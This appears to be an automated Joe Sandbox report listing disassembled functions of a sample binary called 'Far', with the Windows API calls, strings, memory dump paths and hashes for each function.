Instruction ID: be308472ae2d4de360f7ea5228ec194c8de8aa258d529410296c06d8a23c9135
Opcode Fuzzy Hash: a383e85b43ea32882848ee4f2e9b3553474e12a60368ba4d4d3540b5252c881f
Instruction Fuzzy Hash: F8318C7660CB8AA1DB10EB56E4801AEB7A5FB89FC0F804031EA8D47B55EF38D595DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0DC04C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF73D0A1B29), ref: 00007FF73D0DC063
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF73D0A1B29), ref: 00007FF73D0DC07B

Strings

GetSystemWow64DirectoryW, xrefs: 00007FF73D0DC071
kernel32.dll, xrefs: 00007FF73D0DC05C

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: d27fffff7f0a7ce1b3cfb5a4357f2220952fc30aec9119313a0d15093bed926b
Instruction ID: 9f29ce295edeed93a678034f082fa217b4d18c37442fee80f817abd151d7f561
Opcode Fuzzy Hash: d27fffff7f0a7ce1b3cfb5a4357f2220952fc30aec9119313a0d15093bed926b
Instruction Fuzzy Hash: 3EF01C22A0AB0AE2EF18EBA0E85436863A4EF08F48FD40435C91D06354FF7CD5A9D321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D05D258 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,00007FF73D05C850), ref: 00007FF73D05D26F
GetProcAddress.KERNEL32(?,?,?,00007FF73D05C850), ref: 00007FF73D05D287

Strings

kernel32.dll, xrefs: 00007FF73D05D268
Wow64DisableWow64FsRedirection, xrefs: 00007FF73D05D27D

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: f21c76d23a038c2316ade562fac3490fda754206bc4d8fa7a083c3a4e98f6d8a
Instruction ID: 6f35709c5db79adfb4471dd1f3d4cfaf045d4df9142696ee2ec585499a42fabd
Opcode Fuzzy Hash: f21c76d23a038c2316ade562fac3490fda754206bc4d8fa7a083c3a4e98f6d8a
Instruction Fuzzy Hash: 06E06D6190EF0AA2EF05EBA1E8643A863A4FB18F44FD40431CD1C05350FF7CD5A99320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B3F7C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF73D0B3F93
GetProcAddress.KERNEL32 ref: 00007FF73D0B3FAB

Strings

kernel32.dll, xrefs: 00007FF73D0B3F8C
GetNativeSystemInfo, xrefs: 00007FF73D0B3FA1

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: acd268520b77820f179ff0a4fbc63ba1ee1374a64cad2f0639ba0e86ca3a8f91
Instruction ID: 51eebeb01408a40959b189e18f97145e98e7c7833ad02f61f87cd032405de5c6
Opcode Fuzzy Hash: acd268520b77820f179ff0a4fbc63ba1ee1374a64cad2f0639ba0e86ca3a8f91
Instruction Fuzzy Hash: 0AE0ED61D0EB0A92EF18EBA1E4543A8E3A4FB08F44FE40434C91D45354FFBCD5A99350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0DFCC0 Relevance: 6.2, APIs: 4, Instructions: 156processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF73D0DFD1E
Process32FirstW.KERNEL32 ref: 00007FF73D0DFD2E
Process32NextW.KERNEL32 ref: 00007FF73D0DFE29
CloseHandle.KERNEL32 ref: 00007FF73D0DFE3A

Part of subcall function 00007FF73D0618A0: CompareStringW.KERNEL32 ref: 00007FF73D0618EF

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32
String ID:
API String ID: 2000298826-0
Opcode ID: eb20ef8fc96f0e1a697fecaca7efa7f244b3ca2bba3fbe5825ed712c483caec6
Instruction ID: 12ee8e94dae9d9cd515d2f9b4e4b175f2512757364d9220acb28c6d661067bc6
Opcode Fuzzy Hash: eb20ef8fc96f0e1a697fecaca7efa7f244b3ca2bba3fbe5825ed712c483caec6
Instruction Fuzzy Hash: C2718032A18A8996E700EB65D4547AEB7B0FB88F84F804132EE4D07755EF7CD505CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0EBC34 Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF73D0EBD22
IsMenu.USER32 ref: 00007FF73D0EBD40
InsertMenuItemW.USER32 ref: 00007FF73D0EBD91
DrawMenuBar.USER32 ref: 00007FF73D0EBDA6

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID:
API String ID: 3076010158-0
Opcode ID: 49acf40c1f31e8577476818a3c4e039a801d175d47a5432b0057eb6981bce290
Instruction ID: 158e0e775685b220c70a51d3174625ca88997ca4a5126d49252d78ae54ba0eb9
Opcode Fuzzy Hash: 49acf40c1f31e8577476818a3c4e039a801d175d47a5432b0057eb6981bce290
Instruction Fuzzy Hash: B2417B36A09A4EA6EB20DFA2D4801AD77A4FB48F84FA54036DF0D13754EF38D895D750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B9810 Relevance: 6.1, APIs: 4, Instructions: 96keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF73D0B9870
SetKeyboardState.USER32 ref: 00007FF73D0B9888
PostMessageW.USER32 ref: 00007FF73D0B98F9
SendInput.USER32 ref: 00007FF73D0B9958

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 2fe28cef72f3193f0c915b36ef301bdbf2fe836125e117d31ecaa524a2d355ee
Instruction ID: 130edf4dea9d51c91c52ddbab1352eced30ffc1031af5d0fed353911ed2d1070
Opcode Fuzzy Hash: 2fe28cef72f3193f0c915b36ef301bdbf2fe836125e117d31ecaa524a2d355ee
Instruction Fuzzy Hash: 234109A1A0CA8A61F770AB65B4507B9ABA0FB44F50F940131DADE036E5EF3DD481E760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0ED7B4 Relevance: 6.1, APIs: 4, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,?,00007FF73D08C2E9), ref: 00007FF73D0ED864
GetWindowLongW.USER32 ref: 00007FF73D0ED88C
SetWindowLongPtrW.USER32 ref: 00007FF73D0ED8A1
InvalidateRect.USER32(?,00000000,?,00007FF73D08C2E9), ref: 00007FF73D0ED8D8

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: f5b4a7c729c4b1aec2e0108388987a03468645911b79672191becdef22c2c1a8
Instruction ID: fcc255f234d2ab1d1efa54ce5b133120af5a0bc21fa542e21909b7823fa1c1cd
Opcode Fuzzy Hash: f5b4a7c729c4b1aec2e0108388987a03468645911b79672191becdef22c2c1a8
Instruction Fuzzy Hash: 42418021E0C94EA6FB64AB95D5403B8A761EB88F50F984032D66D036D1EF2CE881E330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B9984 Relevance: 6.1, APIs: 4, Instructions: 89keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF73D0B99E9
SetKeyboardState.USER32 ref: 00007FF73D0B9A01
PostMessageW.USER32 ref: 00007FF73D0B9A61
SendInput.USER32 ref: 00007FF73D0B9AC4

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: bddc8ba87bb65f7360b587b740d3350a56d94a9e00a351e3cc21f9116beaa976
Instruction ID: f2130f760e905cd062040e18c0590b992170607a96ed2785c7743cee30c0c367
Opcode Fuzzy Hash: bddc8ba87bb65f7360b587b740d3350a56d94a9e00a351e3cc21f9116beaa976
Instruction Fuzzy Hash: FD312661A0C68A61EB30ABA1A4407FDABA4FB44F90F950131DADD037D1EF3CD581E360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0E9A64 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32 ref: 00007FF73D0E9B08
SetWindowLongW.USER32 ref: 00007FF73D0E9B27
SetWindowLongW.USER32 ref: 00007FF73D0E9B39
SetLayeredWindowAttributes.USER32 ref: 00007FF73D0E9B4D

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 4108aa29eab34c2bb8b8229e6a06b591e92f45f67e7e4b05de5598b4c6381578
Instruction ID: 44fcf674705d3184ce1b4b824af3f886ac43da099893edc04e33c02782dc057b
Opcode Fuzzy Hash: 4108aa29eab34c2bb8b8229e6a06b591e92f45f67e7e4b05de5598b4c6381578
Instruction Fuzzy Hash: BC21F561B0CA5A92EB14BB67E45427DA7A4EFC9FD0F944030EE8E83392EF2CD4419750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B5DBC Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 69stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D0B75F4: lstrlenW.KERNEL32 ref: 00007FF73D0B761C
Part of subcall function 00007FF73D0B75F4: lstrcpyW.KERNEL32 ref: 00007FF73D0B764B
Part of subcall function 00007FF73D0B75F4: lstrcmpiW.KERNEL32 ref: 00007FF73D0B7685

lstrlenW.KERNEL32 ref: 00007FF73D0B5DFF
lstrcpyW.KERNEL32 ref: 00007FF73D0B5E32
lstrcmpiW.KERNEL32 ref: 00007FF73D0B5E74

Strings

cdecl, xrefs: 00007FF73D0B5E69

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 0485784f21c04be767ae28bc46fcd490e4a128233be48af30b13b3ba25d98f45
Instruction ID: 7d3ba95a8ccfa14fd4fd5381eaad42330e38f22a88641f0a9ccede5dc1b9fbb1
Opcode Fuzzy Hash: 0485784f21c04be767ae28bc46fcd490e4a128233be48af30b13b3ba25d98f45
Instruction Fuzzy Hash: AE218D3170C38A96EA14EF96A594278B361EF99F90BC84134DA6E4B790EF7CE451D310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0BDD38 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF73D0BDD77

Part of subcall function 00007FF73D0724D4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73D0724F8

MessageBoxW.USER32 ref: 00007FF73D0BDDBA
WaitForSingleObject.KERNEL32 ref: 00007FF73D0BDDD4
CloseHandle.KERNEL32 ref: 00007FF73D0BDDDD

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait_invalid_parameter_noinfo
String ID:
API String ID: 2979156933-0
Opcode ID: 2908eae6717fe1b20f4e8c5065737de368b6f1e2bf6071d739568695d09c6b62
Instruction ID: 7af930a401c7cb4fa3e84cdd526cc94777e88c2a43c757b5dd2659074feaa0d8
Opcode Fuzzy Hash: 2908eae6717fe1b20f4e8c5065737de368b6f1e2bf6071d739568695d09c6b62
Instruction Fuzzy Hash: 5121F632B0CB8696E750EB66B88026AF791BB84BD0F844135EA9D43B59EF7CD0499710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D073548 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

_ctrlfp.LIBCMT ref: 00007FF73D073575
_ctrlfp.LIBCMT ref: 00007FF73D0735C9
_ctrlfp.LIBCMT ref: 00007FF73D0735DD
_ctrlfp.LIBCMT ref: 00007FF73D073601

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _ctrlfp
String ID:
API String ID: 697997973-0
Opcode ID: f8f9840fc4997b7b72a1294ff11ed33c51b2b96051fe15eb5033c25f68ffb0cf
Instruction ID: 4319caae10dc9cdbe648fa7c53c51da049fa7360e7ca5641f94a0ee2c55eca07
Opcode Fuzzy Hash: f8f9840fc4997b7b72a1294ff11ed33c51b2b96051fe15eb5033c25f68ffb0cf
Instruction Fuzzy Hash: BC11F622D4CA4A92E650AA78954107BE371FF9AB80FA44234F7994E659EF3DE4409B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B5800 Relevance: 6.0, APIs: 4, Instructions: 44registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF73D0B581F
LoadTypeLib.OLEAUT32 ref: 00007FF73D0B583A
RegisterTypeLib.OLEAUT32 ref: 00007FF73D0B584F
RegisterTypeLibForUser.OLEAUT32 ref: 00007FF73D0B586D

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: f9d03fec68b5b4c6966c658b6da3f2c91de90fd0719e6c9be6d29f0b3145b0df
Instruction ID: a753354d4899d96b808be4693d653bf1adc24447d5a305992f6c43188d4aca60
Opcode Fuzzy Hash: f9d03fec68b5b4c6966c658b6da3f2c91de90fd0719e6c9be6d29f0b3145b0df
Instruction Fuzzy Hash: 6D1182A2B0C94692E7209FA5E488369B3A0FB84F48FE44135C64D9B544EF7DD544EB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D07BD08 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF73D069360,?,?,Line %d: ,00007FF73D06DE7D), ref: 00007FF73D07BD12
SetLastError.KERNEL32(?,?,?,00007FF73D069360,?,?,Line %d: ,00007FF73D06DE7D), ref: 00007FF73D07BD7A
SetLastError.KERNEL32(?,?,?,00007FF73D069360,?,?,Line %d: ,00007FF73D06DE7D), ref: 00007FF73D07BD90
abort.LIBCMT ref: 00007FF73D07BD96

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: bc8646eea5e2037c6ae74e592a82b15fd2acbf2a3002881bddbbfccc1809cbe6
Instruction ID: 256f99fab7f58f9ed0f18722fa180c4ae779d13d19336ef8f62201056b89edf1
Opcode Fuzzy Hash: bc8646eea5e2037c6ae74e592a82b15fd2acbf2a3002881bddbbfccc1809cbe6
Instruction Fuzzy Hash: 8F016920E0D24F62FA6AB7E0A59A27D92515F44F80FD40438E91E0A7D6FF3CE8146220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0B9F38 Relevance: 6.0, APIs: 4, Instructions: 37sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 00007FF73D0B9F5B
Sleep.KERNEL32 ref: 00007FF73D0B9F6F
QueryPerformanceCounter.KERNEL32 ref: 00007FF73D0B9F7A
Sleep.KERNEL32 ref: 00007FF73D0B9FA5

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 226b216ee8c36923cb07a4aaa192afbee87128cb84dd0baf04db96e24dfa3774
Instruction ID: 419f149691a403fb237d00a3f87df6ab63ebd88fce22e4a281a90f1758805bf4
Opcode Fuzzy Hash: 226b216ee8c36923cb07a4aaa192afbee87128cb84dd0baf04db96e24dfa3774
Instruction Fuzzy Hash: 08012D60A0CF4B62EA156B75A4802BFF374BF99F51F840331E98F61560EF3DE4819620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0F1868 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D05E838: ExtCreatePen.GDI32 ref: 00007FF73D05E8C7
Part of subcall function 00007FF73D05E838: SelectObject.GDI32 ref: 00007FF73D05E8DA
Part of subcall function 00007FF73D05E838: BeginPath.GDI32 ref: 00007FF73D05E8F3
Part of subcall function 00007FF73D05E838: SelectObject.GDI32 ref: 00007FF73D05E91A

MoveToEx.GDI32 ref: 00007FF73D0F18AD
LineTo.GDI32 ref: 00007FF73D0F18BF
EndPath.GDI32 ref: 00007FF73D0F18D1
StrokePath.GDI32 ref: 00007FF73D0F18E1

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 0dacb98fa7afff2f581cc1466db00cfcbd5c823df3e24bd0ee35935fb80ad810
Instruction ID: dd113c0647b7851ca7ee9a785b0156072138a47271b5bbf6e69142b30ca4fd5a
Opcode Fuzzy Hash: 0dacb98fa7afff2f581cc1466db00cfcbd5c823df3e24bd0ee35935fb80ad810
Instruction Fuzzy Hash: 2E01DE31A1C3AA52E740AB55F808768BB60BB81F94FA80130CE4903BA1DF7EE445CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0A1F9C Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF73D0A1F9C
GetDC.USER32 ref: 00007FF73D0A1FA8
